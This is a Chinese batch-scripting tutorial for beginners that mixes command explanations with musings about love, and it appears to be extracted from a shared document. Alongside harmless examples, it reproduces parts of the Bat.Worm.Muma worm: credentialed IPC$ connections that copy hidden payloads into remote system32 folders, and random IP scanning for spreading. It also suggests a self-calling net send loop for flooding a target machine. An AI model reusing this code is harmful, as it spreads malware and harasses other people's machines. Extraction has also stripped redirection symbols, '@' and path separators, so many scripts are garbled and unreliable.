1、十分经典的批处理教程 这是一篇技术教程,真心诚意会用很简单的文字表达清楚自己的意思,只要你识字就能看 懂,就能学到知识。写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如 果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的, 如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些 很遥远的东西却又突然回到了眼前。. 先概述一下批处理是个什么东东。批处理的定义,至今我也没能给出一个合适的- 众多高手们也都没给出-反正我不知道- 看了我也不一定信服 -我是个菜鸟,当然就更 不用说了;但我想总结出一个“比较合适的“ ,而且我也相信自己可以把
2、它解释的很清楚, 让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。或许你会因为这篇 文章而“无条件爱上批处理 “,那么我的目的就达到了 -我就是要让你爱上它,我就这么拽, 你能怎么着?真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的! 按照我的理解,批处理的本质,是一堆 DOS 命令按一定顺序排列而形成的集合。 OK,never claver and get to business(闲话少说言归正传) 。批处理,也称为批处理 脚本,英文译为 BATCH,批处理文件后缀 BAT 就取的前三个字母。它的构成没有固定格 式,只要遵守以下这条就 ok 了:每一行可视为一个命令
3、,每个命令里可以含多条子命令, 从第一行开始执行,直到最后一行结束,它运行的平台是 DOS。批处理有一个很鲜明的特 点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为 牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏 幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理 的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱? 到底批处理和爱有什么关系?答案:没有!) 。再说句“闲话“ :要学好批处理,DOS 基础 一定要牢!当然脑子灵活也是很重要的一方面。 例一、先给出一个最 easy
4、的批处理脚本让大家和它混个脸熟,将下面的几行命令 保存为 name.bat 然后执行(以后文中只给出代码,保存和执行方式类似): ping a.txt ping a.txt ping a.txt ping a.txt ping a.txt ping a.txt ping a.txt ping a.txt exit 是不是都能看的懂?是不是很 easy?但它的作用却是很实用的,执行这个批处理 后,可以在你的当前盘建立一个名为 a.txt 的文件,它里面记录的信息可以帮助你迅速找到 速度最快的 QQ 服务器,从而远离“从服务器中转“ 那一痛苦的过程。这里的意思,是把前 面命令得到的东西放到后面所给
5、的地方,的作用,和的相同,区别是把结果追加到前 一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可 以使这个 a.txt 文件越来越大(想到如何搞破坏了?) 。By the way,这个批处理还可以和 其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务 器 IP,是不是很爽?后面还将详细介绍。 例二、再给出一个已经过时的例子(a.bat): echo off if exist C:Progra1TencentAD*.gif del C:Progra1TencentAD*.gif a.bat 为什么说这是个过时的例子呢?很简单,因为现在已经
6、几乎没有人用带广告的 QQ 了(KAO,我的 QQ 还显示好友三围呢!) ,所以它几乎用不上了。但曾经它的作用 是不可小窥的:删除 QQ 的广告,让对话框干干净净。这里用的地址是 QQ 的默认安装地 址,默认批处理文件名为 a.bat,你当然可以根据情况自行修改。在这个脚本中使用了 if 命 令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的 DOS 窗口,不按 CTRL+C 强行终止命令,它就一直监视是否有广告图片(QQ 也再不断查看自 己的广告是否被删除) 。当然这个脚本占用你一点点内存,呵呵。 例三,使用批处理脚本查是否中冰河。脚本内容如下: echo off n
7、etstat -a -n a.txt type a.txt | find “7626“ & echo “Congratulations! You have infected GLACIER!“ del a.txt pause & exit 这里利用了 netstat 命令,检查所有的网络端口状态,只需要你清楚常见木马所 使用的端口,就能很 easy 的判断出来是否被人种了冰河。然这不是确定的,因为冰河默认 的端口 7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路 稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列 表文件后,就变成自动检测
8、所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组 合命令&和管道命令|,后面将详细介绍。 例四,借批处理自动清除系统垃圾,脚本如下: echo off if exist c:windowstemp*.* del c:windowstemp*.* if exist c:windowsTempor1*.* del c:windowsTempor1*.* if exist c:windowsHistory*.* del c:windowsHistory*.* if exist c:windowsrecent*.* del c:windowsrecent*.* 将以上脚本内容保存到 autoex
9、ec.bat 里,每次开机时就把系统垃圾给自动删除了。 这里需要注意两点:一、DOS 不支持长文件名,所以就出现了 Tempor1 这个东东;二、 可根据自己的实际情况进行改动,使其符合自己的要求。怎么样,看到这里,你对批处理 脚本是不是已经有点兴趣了?是不是发现自己已经慢慢爱上了这个东东?别高兴的太早, 爱不是一件简单的事,它也许能带给你快乐和幸福,当然也能让你痛苦的想去跳楼。如果 你知道很难还敢继续的话,I 服了 YOU!继续努力吧,也许到最后你不一定得到真爱(真 的有这可能,爱过的人都知道) ,但你可以体会到整个爱的过程,就是如此。酸、苦和辣, 有没有甜天知道。为什么会把批处理和爱情扯上
10、关系?不是我无聊,也不是因为这样写有 趣多少,原因有二:其一,批处理和爱情有很多相同的地方,有些地方我用“专业“ 的行话 解释不清(我不怀疑自己的表达能力,而是事情本身就不好说清楚) ,说了=没说,但用地 球人都知道的爱情一比喻(爱情是什么?我*怎么知道!) ,没准你心里一下就亮堂了, 事半功倍,何乐而不为?其二,我这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还 是感情上精神摧残,搞的人烦透了,借写教程之际感慨几句,大家就全当买狗皮膏药了, 完全可以省略不看(也许还真有点效果-不至于让你看着看着就睡着了,把头磕了来找我 报销医药费) 。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下
11、的英雄们。 看过第一章的朋友,一定对批处理有了初步的印象,知道它到底是用来干什么的 了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只 有想不到的。这和爱情就有点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱 情(补充:那叫单恋。废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不 到的境界! 批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编) 低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得 到你想要的结果,也许是一屏幕的 Bad command or fail name。这又和爱情有了共同点:按 步骤
12、来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有 不肯定这句话的。我的爱情批处理,输出的结果不是 Bad command or fail name,屏幕是这 么显示的:你的爱情不是内部或外部命令,也不是可运行的程序或批处理文件。然后就 是光标不停闪动,等待这下一次错误的输入。 从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见 DOS 命令在批 处理脚本中有这广泛的应用,它们是批处理脚本的 BODY 部分,但批处理比 DOS 更灵活 多样,更具备自动化。要学好批处理,DOS 一定要有比较扎实的基础。这里只讲述一些比 较少用(相对来说)的 DOS 命令,常用命令
13、如 COPY、 DIR 等就不做介绍了(这些看似 简单的命令实际复杂的很,我怕自己都说不清楚!) 。 例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动 化“ 的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM) 的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入 很多东西,麻烦的很(只有经历过的朋友才懂得) 。如何使这个过程变的简单呢?在我们搞 汇编课程设计时,我“被逼“ 写了这个脚本,用起来很爽,呵呵。看看脚本 内容: echo off :close echo cls :clean screen echo
14、This programme is to make the MASM programme automate :display info echo Edit by CODERED :display info echo Mailto me : qqkiller* :display info if “%1“=“ goto usage :if input without paramater goto usage if “%1“=“/?“ goto usage :if paramater is “/?“ goto usage if “%1“=“help“ goto usage :if paramater
15、 is “help“ goto usage pause :pause to see usage masm %1.asm :assemble the .asm code if errorlevel 1 pause & edit %1.asm :if error pause to see error msg and edit the code link %1.obj & %1 :else link the .obj file and execute the .exe file :usage :set usage echo Usage: This BAT file name asm file nam
16、e echo Default BAT file name is START.BAT :display usage 先不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是 怎么写的!) 。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容解释的 E 文(害怕 E 文的朋友也不用担心,都很 easy,一看就懂了,实在不懂了不会查词典啊, 这么懒?) ,在脚本执行时不显示,也不起任何作用。倒数第 5 行行首有一个冒号,可不 是笔误哦!具体作用后面会详细讲到。此脚本中 masm 和 link 是汇编程序和连接程序,必 须和 edit 程序以及你要编辑的源代码(当然还有这个脚本
17、,废话!)一起在当前目录中。 使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键, 即可实现从汇编源代码到可执行 exe 文件的自动化转换,并具备智能判断功能:如果汇编 时源代码出现错误(汇编不成功) ,则自动暂停显示错误信息,并在按任意键后自动进入编 辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的 exe 文件。 另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修 改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下! 在这个脚本中出现了如下几个命令:、echo、:、pause 、: 和 goto、
18、%以及 if。而 这一章就将讲述这几个命令。 1、 这个符号大家都不陌生,email 的必备符号,它怎么会跑到批处理中呢?呵呵,不是 它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中不显示它后 面这一行的命令本身(多么绕口的一句话!) 。呵呵,通俗一点说,行首有了它的话,这一 行的命令就不显示了。在例五中,首行的echo off 中, 的作用就是让脚本在执行时不显 示后面的 echo off 部分。这下懂了吧?还是不太懂?没关系,看完 echo 命令简介,自然就 懂了。 2、echo 中文为“反馈“ 、“回显“的意思。它其实是一个开关命令,就是说它只有两种状态: 打开和关闭
19、。于是就有了 echo on 和 echo off 两个命令了。 直接执行 echo 命令将显示当前 echo 命令状态(off 或 on)执行 echo off 将关闭回显, 它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行 echo on 命令。在 例五中,首行的命令和 echo off 命令联合起来,达到了两个目的:不显示 echo off 命令本 身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3 分钟包会, 不会的退钱! echo 命令的另一种用法 一:可以用它来显示信息!如例五中倒数第二行,Default BAT file name is STAR
20、T.BAT 将 在脚本执行后的窗口中显 示,而 echo 命令本身不显示(为什么?) 。 二:可以直接编辑文本文件。例六: echo nbtstat -A 192.168.0.1 a.bat echo nbtstat -A 192.168.0.2 a.bat echo nbtstat -A 192.168.0.3 a.bat 以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生 成一个 a.bat 的文件,直接执行就会得到结果。 3、: 这个命令的作用很简单,它是注释命令,在批处理脚本中和 rem 命令等效。它后 面的内容在执行时不显示,也不起任何作用,因为它只是注释
21、,只是增加了脚本的可读性, 和 C 语言中的/*/类似。地球人都能看懂,就不多说了。 4、pause 中文为“暂停“ 的意思(看看你的 workman 上) ,我一直认为它是批处理中最简单的 一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按 任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息, 第二个是显示错误的汇编代码信息(其实不是它想显示,而是 masm 程序在显示错误信息 时被暂它停了,以便让你看清楚你的源代码错在哪里) 。 5、:和 goto 为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了 哪个
22、都会出错。goto 是个跳转命令, :是一个标签。当程序运行到 goto 时,将自动跳转到: 定义的部分去执行了(是不是分不开?) 。例五中倒数第 5 行行首出现一个:,则程序在运 行到 goto 时就自动跳转到:标签定义的部分执行,结果是显示脚本 usage(usage 就是标签 名称) 。不难看出,goto 命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是 一一对应的关系。goto 命令也经常和 if 命令结合使用。至于这两个命令具体用法,参照例 五。 goto 命令的另一种用法一:提前结束程序。在程序中间使用 goto 命令跳转到某一标签,而 这一标签的内容却定义为退出。如:
23、goto end :end 这里:end 在脚本最后一行!其实这个例子很弱智,后面讲了 if 命令和组合命令你就知道了。 6、% 这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使 用的情况除外,以后还将详细介绍) ,但千万别以为它只是参数就小看了它(看看例五中有 多少地方用到它?) ,少了它批处理的功能就减少了 51%了。看看例七: net use %1ipc$ %3 /u:“%2“ copy 11.BAT %1admin$system32 /y copy 13.BAT %1admin$system32 /y copy ipc2.BAT %1admin$system32
24、 /y copy NWZI.EXE %1admin$system32 /y attrib %1admin$system32.bat -r -h -s 以上代码是 Bat.Worm.Muma 病毒中的一部分,%1 的 IP,2% 的 username,3%password。执行形式为:脚本文件名参数一 参数二 。假设这个脚本被保 存为 a.bat,则执行形式如下:a IP username password。这里 IP、username、password 是三 个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚 本执行过程中,脚本就自动用用你的三个参数依次(记住,是依
25、次!也是一一对应的关系。 )代换 1%、2%和 3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把 IP、username 和 password 都定义死,那么脚本的作用也就被固定了,但如果使用%的话, 不同的参数可以达到不同的目的,是不是更灵活?) 。 关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多 练习过程,需要下点狠工夫! 这一章就写到这里了。可能有朋友问了:怎么没介绍 if 命令?呵呵,不是我忘了, 而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐怕也够 消化的了。记住一句话:DOS 是批处理的 BODY,任何一个 DOS 命令
26、都可以被用在批处 理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有 自动化色彩的东东呢?很简单,就是一个 DOS 命令的集合而已,相信自称为天才的你已经 会把计算机等级考试上机试题中的 DOS 部分用批处理来自动化完成了。 烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒服, 看谁谁不爽。明知山有虎,偏向虎山行,最后留下一身伤痕无功而返时,才发现自己竟然 如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最后一次扁 人的那一刻,还真有点怀念(其实我很不喜欢扁人,更不喜欢被人扁) 。我需要发泄,我用 手指拼命的敲打着键盘,在一
27、阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。 可难道这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过“唯女 子与小人,难养也“,真*有先见之明,佩服! 虽然是在发泄,不过大家请放心,以我的脾气,既然决定写这篇教程,就一定会尽 力去写好,写完美,绝对不给自己留下遗憾,要不这教程就不是我写的! 曾经有一篇经典的批处理教程出现在你的屏幕上,你没有保存,直到找不到它的链 接你才后悔莫及,人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会,你 会对那篇教程说三个字:我爱你!如果非要给这份爱加上一个期限,你希望是 100 年。因 为 100 年后,你恐怕早已经挂了!而现
28、在,你的屏幕上出现了这篇你正在看的批处理教程, 虽然不如你曾经看的那篇经典,但如果勉强还过的去。你会爱它吗?时间会有 50 年那么长 吗?答案是:试试看吧。 批处理脚本中最重要的几个命令,将在这一章详细介绍,但是很遗憾,有些细节到 现在我都没掌握的很好,甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力, 即使一直都没有收获。所以可能讲的会比较笼统,但我会告诉你方法,剩下的就是时间问 题了,需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒,滴水穿石非一日之功。 有些事情,比如学批处理,比如爱一个人,都是不能速成的,甚至还会有付出艰辛而收获 为甚微的情况。再次重申,看这篇教程的时候,一定
29、要静下心来,除非你已经掌握了这篇 教程的所有东西-但那也就不必看了,浪费时间! 7、if 接上一章,接着讲 if 命令。总的来说,if 命令是一个表示判断的命令,根据得出的 每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。 (1)、输入判断。还是用例五里面的那几句吧: if “%1“=“ goto usage if “%1“=“/?“ goto usage if “%1“=“help“ goto usage 这里判断输入的参数情况,如果参数为空(无参数) ,则跳转到 usage;如果参数为/? 或 help 时(大家一般看一个命令的帮助,是不是输入的/?或 help 呢
30、,这里这么做只是为了让 这个脚本看起来更像一个真正的程序) ,也跳转到 usage。这里还可以用否定形式来表示 “不 等于“,例如: if not “%1“=“ goto usage,则表示如果输入参数不为空就跳转到 usage(实 际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。 )是不是很简单?其实翻 译成中文体会一下就 understand 了。 (2)、存在判断。再看例二里这句: if exist C:Progra1TencentAD*.gif del C:Progra1TencentAD*.gif 如果存在那些 gif 文件,就删除这些文件。当然还有例四,都是一样的道理。注
31、意, 这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果不存在那些 gif 文件则退出脚本“ :if not exist C:Progra1TencentAD*.gif exit。只是多一个 not 来表示 否定而已。 (3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵): masm %1.asm if errorlevel 1 pause & edit %1.asm link %1.obj 先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面; 否则用 link 程序连接生成的 obj 文件。这里只介绍一下和 if 命令有
32、关的地方,&命令后面 会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS 程序在运行完 后都有返回码) ,如果和定义的错误码符合(这里定义的错误码为 1) ,则执行相应的操作 (这里相应的操作为 pause & edit %1.asm 部分) 。 另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的 意思,代码变为: masm %1.asm if not errorlevel 1 link %1.obj pause & edit %1.asm 看到本质了吧?其实只是把结果判断后所执行的命令互换了一下,“if not errorlevel 1“和“if
33、 errorlevel 0“的效果是等效的,都表示上一句 masm 命令执行成功(因为它是错误判 断,而且返回码为 0,0 就表示否定,就是说这个错误不存在,就是说 masm 执行成功) 。 这里是否加 not,错误码到底用 0 还是 1,是值得考虑的两个问题,一旦搭配不成功脚本就 肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练习!自己写一个脚本,然 后把有 not 和没有 not 的情况,返回码为 0 或 1 的情况分别写进去执行(怎么,嫌麻烦啊? 排列组合算一下才四中情况你就嫌麻烦了? 后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。 ) ,这样从执行的结 果中就能很清楚
34、的看出这两种情况的区别。 这种用 errorlevel 结果判断的用法是 if 命令最难的用法,但也恰恰是最有用的用法,如果你 不会用 errorlevel 来判断返回码,则要达到相同的效果,必须用 else 来表示“否则“ 的操作, 是比较麻烦的。以上代码必须变成: masm %1.asm if exist %1.obj link %1.obj else pause & edit %1.asm 关于 if 命令的这三种用法就 say 到这里,理解很简单,但应用时就不一定用的那么 得心应手,主要是熟练程度的问题。可能有的朋友有点惊讶,我怎么没给出类似下面三行 的用法介绍,是因为下面三行是 if
35、 命令帮助里对它自身用法的解释,任何人只要一个“if /?“ 就能看到,我没有必要在这里多费口舌;更重要的原因,是我觉得这样介绍的不清楚,看 的人不一定看的懂,所以我采用上面自己对 if 命令的理解来介绍。一定要注意的是,这三 种用法的格式各不相同,而且也是不能改变的,但实际上可以互换(以为从本质上讲,这 三种用法都是建立在判断的基础上的,哲学教我们学会透过现象看事物本质!) 。有兴趣的 朋友可以自己研究一下。 IF NOT ERRORLEVEL number do command IF NOT string1=string2 do command IF NOT EXIST filename
36、do command 8、call 学过汇编或 C 的朋友,肯定都知道 call 指令表示什么意思了,在这里它的意思其实 也是一样的。在批处理脚本中,call 命令用来从一个批处理脚本中调用另一个批处理脚本。 看例八(默认的三个脚本文件名分别为 start.bat、10.bat 和 ipc.bat): start.bat: CALL 10.BAT 0 10.bat: ECHO %IPA%.%1 HFIND.TMP CALL ipc.bat IPCFind.txt ipc.bat: for /f “tokens=1,2,3 delims= “ %i in (%1) do call HACK.ba
37、t %i %j %k 有没有看出什么不对的地方?没看出来啊?没看出来就对了,其实就没有不对的地 方嘛,你怎么看的出来!从上面两个脚本,你可以得到如下信息: 1、脚本调用可以灵活运用,循环运用、重复运用。 2、脚本调用可以使用参数! 关于第一点就不多说了,聪明的你一看就应该会,这里说一下第二点。 在 start.bat 中,10.bat 后面跟了参数 0,在执行时的效果,其实就是把 10.bat 里的 参数%1 用 0 代替。在 start.bat 中,ipc.bat 后面跟了参数 ipcfind.txt(一个文件,也可以做 参数) ,执行时的效果,就是用 ipc.bat 中的每一行的三个变量(
38、这里不懂没关系,学过 for 命令后就懂了) ,对应代换 ipc.bat 中的%i、%j 和%k 。这里参数调用是非常灵活的, 使用时需要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用 的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批 处理脚本后,如何使代码写的更精简更完美更高效就自然包括到了考虑的范围,这时候你 就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By the way,上面的这几个 脚本,都是 Bat.Worm.Muma 病毒的一部分,在后面的教程里,大家将有机会见到这个病 毒的真面目。 那是不是说,在同一个目录下至少存在
39、两个批处理脚本文件(只有一个你调用谁?)?呵 呵,注意了,这句话错了!只有一个照样可以调用-调用自身!看例九(默认脚本文件 名 a.bat): net send %1 This is a call example. call a.bat 这两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给 你来个礼尚往来!可如果有 100 台机器同时执行,而且每台机器开 10 和窗口同时向一个目 标机器发消息的话,呵呵。这里 call a.bat 的作用就是调用自身,执行完前一句 net send 命 令后再调用自身,达到了循环执行的目的。 给出一个很有意思的脚本,有兴趣的朋友可以实验一下
40、。例十(默认脚本文件名为 a.bat): call a.bat 一定要在 DOS 窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等 执行完后,当脚本被执行了 1260 次,别忘了想一下到底是为什么!爱情有时候跟这个脚本 一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理 由的循环这么多次,也许在第三次时就出现了 love is aborted 的提示。 9、find 这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程 序(我怎么突然想起了这四个字?) 。这个命令单独使用的情况在批处理中是比较少见的, 因为没什么实际意义。还是借例三来
41、说明: echo off netstat -a -n a.txt type a.txt | find “7626“ & echo “Congratulations! You have infected GLACIER!“ del a.txt pause & exit 先用 netstat 命令检查是否有冰河默认的端口 7626 在活动,并把结果保存到 a.txt 中。 然后使用 type 命令列出 a.txt 中的内容,再在列出的内容中搜索字符串“7626“ ,发现有的 话则提示中了冰河,否则退出。看,find 命令其实就这么简单,但有一点必须要注意到: 如果不使用 type 命令列出 a.t
42、xt 中的内容,而是直接使用 find 命令在 a.txt 中找“7626“(find a.txt “7626“ & echo “Congratulations! You have infected GLACIER!“) ,就必须得给出这个 a.txt 的绝对路径(我试过了,find 并没有默认路径就是当前路径的功能,必须手动指定。 也许是我错了,欢迎指正) 。因为在 find 命令的帮助里有这么一句话:如果没有指定路径, find 将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令“ 自然就指的 type 命 令了。 至于 find 命令的其他几个参数如 v、n、i 等,有兴趣的朋友
43、自己去研究吧,这已经 属于 DOS 学习的内容了,这里就不做介绍。关于 find 命令和其他命令的一些更精妙的用 法(有些简直令人叫绝) ,后续的教程中将介绍,希望关注。 10、for、set 、shift 为什么把这三个命令放到一起来讲?原因除了我说明外,恐怕谁也想不到!很简单 的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究 Bat.Worm.Muma 病毒 开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更 怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你,如何让这两个命令给自己留一 个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两
44、个命令。因为要 领会如此精妙的两个命令(特别是 for)谈何容易!也许你会表扬我说我诚实、不懂就不懂; 也许你会骂我,让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的 这样那样好听或不好听的话,都随便你了,即使我不同意你说的话,我也会誓死捍卫你说 话的权利。看例十一: echo off for /? for.txt set /? set.txt shift /? shift.txt exit 执行后在当前路径下就生成 for.txt、set.txt 和 shift.txt 三个文件,里面分别记录了 for 命令、set 命令和 shift 命令的帮助信息。地球人都能看懂,我就不
45、多说了。我在网上曾 经找了很长时间这三个命令的教程,但都不理想,基本都是照搬的帮助信息。我想在自己 完全掌握了这两个命令后,一定要写一篇用自己的文字总结出来的 for、set 和 shift 教程 (关于 shift 命令,后面介绍批处理的参数时还将涉及到) ,一定会的,这是我的心愿之一! 需要注意的一点是,这三个命令的帮助里,介绍的都比较死板,虽然也举了一些例子,但 这是远远不够的。要掌握这两个命令,最需要的就是耐心!没写错,就是耐心。光是认真 看完它们的帮助文字就已经需要足够的耐心了,要进一步练习领会这两个命令,难道不需 要更大的耐心?实战练习的机会我会留给你的,关键还是那句话,看你有没有
46、耐心去研究 了。看看例十二: START.BAT: CALL MUMA.BAT SET IPA=192.168 CALL 10.BAT 0 :NEARAGAIN netstat -n|find “:“ A.TMP FOR /F “tokens=7,8,9,10,12 delims=.: “ %I IN (A.TMP) DO SET NUM1=%I& SET NUM2=%J& SET NUM3=% K& SET NUM4=%L& SET NUM5=%M& CALL NEAR.BAT :START CALL RANDOM.BAT IF “%NUM1%“=“255“ GOTO NEARAGAIN I
47、F “%NUM1%“=“192“ GOTO NEARAGAIN IF “%NUM1%“=“127“ GOTO NEARAGAIN IF “%NUM2%“=“255“ GOTO NEARAGAIN IF “%NUM3%“=“255“ GOTO NEARAGAIN IF “%NUM4%“=“255“ GOTO NEARAGAIN SET IPA=%NUM1%.%NUM2% ECHO START A.LOG PING %IPA%.%NUM3%.1B.TMP PING %IPA%.%NUM3%.%NUM4%B.TMP FIND /C /I “from“ B.TMP IF ERRORLEVEL 1 GO
48、TO START CALL 10.BAT %NUM3% DEL A.LOG GOTO START 这是 Bat.Worm.Muma 病毒的起始脚本,设置了病毒运行的环境变量。是不是看的 头都大了?又忘了写在第一章第一段的那句话(静下心来!) ,你应该能体会到学习这两个 命令所需要的耐心了吧。就如同去爱一个人,你得学会宽容,打不得骂不得,用你宽大的 胸怀去包容她的一切,即使你发现爱她的过程如看上面代码的过程一样让你头大,但你还 是得爱下去-爱需要理由吗?不需要吗?需要吗?不需要吗等到风平浪静后,最直观 的收获就是,你的耐心变的前所未有的充足,面对她的复杂和善变,你自己会处变不惊, 以自己的方式去
49、从容应付曾经应付不了的场面,即使到最后一身伤痕,也会感慨曾经的举 动有多么伟大。 没错,这就是批处理的魅力,这就是爱的魅力。让你受了伤还感谢伤你的人。 不得不再次重申一遍,各种 DOS 命令是批处理的 BODY(我实在找不出一个更合 适的词来形容他们之间的关系) ,学好 DOS 命令是学好批处理的前提。其他 DOS 命令如 copy、dir 、del、type 、path、break、start 等内部命令,以及 ping、net、cmd、at、sort、 attrib、fc、find 等外部命令,在批处理里的应用非常广泛。这篇教程的作用,是教你认识 批处理,以及如何利用 DOS 命令组合出来一个完美的批处理脚本,去让它自动完成你想要 它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握 DOS 命令的基础上的, 这已经超出了本文的范畴,在此就不赘述了。 不知不觉中第